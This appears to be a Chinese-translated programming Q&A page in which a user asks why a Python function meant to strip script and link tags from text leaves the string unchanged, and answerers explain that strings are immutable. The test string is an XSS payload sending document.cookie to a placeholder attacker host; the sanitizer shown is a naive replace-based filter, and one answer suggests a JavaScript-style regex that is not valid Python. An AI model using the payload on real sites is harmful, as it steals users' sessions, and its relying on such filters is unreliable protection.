2

我正在尝试替换字符串中的一些关键词。这是我的功能:

def clean_code(input):
    input.replace('<script>', " ")
    input.replace('</script>', " ")
    input.replace('<a href>', " ")
    input.replace('</a>', " ")
    input.replace('>', "&gt;")
    input.replace('>', "&lt;")
    return input

这是我的其他代码和字符串:

string1 = "This blog is STUPID! >\n" \
"<script>document.location='http://some_attacker/cookie.cgi?"\
" +document.cookie </script>"


print '\nstring1 cleaned of code' 
print '------------------------'
print clean_code(string1)

我的输出如下,我不确定为什么什么都没有改变

string1 cleaned of code
------------------------
This blog is STUPID! >
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script>
4

4 回答 4

8

Python 字符串是不可变的:

input = input.replace('<script>', " ")
input = ...

请参阅replace文档

返回字符串 str 的副本,其中所有出现的子字符串 old 都替换为 new。

于 2012-09-17T14:05:10.760 回答
5

字符串在 Python 中是不可变的。 input.replace('</a>', " ")不改变input。您需要将结果分配回input.

但实际上你应该使用像BeautifulSoup lxml这样的解析器。

于 2012-09-17T14:06:23.600 回答
3

String.replace返回一个作为替换结果的新字符串,但不更改原始字符串。为此,您必须将返回值分配回变量,如下所示:

myString = myString.replace("foo", "bar")

此外,input.replace('<a href>', " ")只会替换确切的子字符串“<a href>”。要删除实际链接,请尝试input.replace(/<a\s[^>]*>/, " ").

于 2012-09-17T14:10:21.937 回答
3

.replace不是就地突变

尝试这个

def clean_code(input):
    for tokens in [('<script>', " "),('</script>', " "),('<a href>', " "),
                ('</a>', " "),('>', "&gt;"),('>', "&lt;")]:
        input = input.replace(tokens[0], tokens[1])
    return input
于 2012-09-17T14:05:13.587 回答